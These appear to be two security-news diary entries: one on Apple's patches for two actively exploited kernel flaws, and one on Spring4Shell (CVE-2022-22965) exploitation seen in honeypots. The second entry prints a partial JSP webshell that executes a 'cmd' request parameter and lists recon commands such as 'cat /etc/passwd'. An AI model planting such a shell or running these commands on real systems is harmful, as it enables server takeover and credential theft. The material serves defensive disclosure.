Last Updated: 2022-03-31 22:05:58 UTC
by Johannes Ullrich (Version: 1)
Apple today patched two flaws in macOS. One of the flaws has also been fixed for iOS and iPadOS. The AppleAVD flaw patched in across all the operating systems is critical as it allows arbitrary code execution with kernel privileges, and the flaw has been actively exploited.
The second vulnerability, an out-of-bounds read issue for kernel memory, only affects macOS and may be useful to exploit other vulnerabilities.
You probably should patch quickly given that the more severe flaw is already being exploited.
|CVE-2022-22675 [Critical] AppleAVD
An out-of-bounds write issue was addressed with improved bounds checking.
An application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited.
|CVE-2022-22674 [important] Intel Graphics Driver
An out-of-bounds read issue may lead to the disclosure of kernel memory and was addressed with improved input validation. Apple is aware of a report that this issue may have been actively exploited.
An application may be able to read kernel memory
Last Updated: 2022-03-31 16:55:14 UTC
by Johannes Ullrich (Version: 1)
The Spring project now released a blog post acknowledging the issue so far known as "sping4shell":
The announcement confirms some of the points made yesterday:
- JDK 9 or higher are affected (JDK 8 is not affected)
- Spring MVC and Sping Webflux applications are affected
- Spring Boot executable jars are vulnerable, but the current exploit does not affect them
- A patch has been released. Upgrade to Spring Framework 5.3.18 (with Spring Boot 2.6.6 or 2.5.12) or Spring Framework 5.2.20
- We now have a CVE: CVE-2022-22965
- CVSS Score is 9.8
The vulnerable libraries are not as widely used as log4j, and exploitation does depend a bit more on the application. But just like for log4j, we will likely see exploits evolving and spreading quickly for some popular vulnerable applications.
We started seeing some exploit attempts that match the general "Spring4Shell" pattern early on Wednesday (around 09:20 UTC). The first exploit from one of our larger honeypots and came from 184.108.40.206. It was directed at a honeypot listening on port 9001, not the "usual" tomcat port 8080.
The currently published exploit will change the logging configuration, writing a file to the application's root directory. Next, the attacker will send requests that contain code to be written to this new "log file". Finally, the attacker will access the log file with a browser to execute the code. The code in the currently published exploit does create a simple webshell:
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte b = new byte;
[beautified code to make it more readable]
Files like this, present in the application's directory, could be used as an indicator of compromise. The exploit alters the logging configuration. After the exploit is executed, all access logs will be appended to this script, and these logs are also sent back to the attacker as the attacker accesses the script. A typical filename is "tomcatwar.jsp", but of course the name of the parameters, and the filename, are easily changed.
A typical request looking for the web shell will look like:
We have seen attempts to install the web shell, as well as attempts to access existing webshells. Couple IPs that "stick out":
I have also seen the filename "wpz.jsp" used, in particular by 220.127.116.11. Some swear words have also shown up in filenames used by specific IPs.
Please note that we are not sure if these attempts actually work. They are detected by honeypots that are not actually vulnerable to these exploits.
Just like for log4j, we do see some scanning for vulnerable hosts by attempting to execute simple commands like 'whoami' or 'cat /etc/passwd'. The level of activity appears to be much less than what we had for log4shell. Likely because there isn't a simple "one size fits all" exploit, and exploitability depends on the application, not just using a particular framework.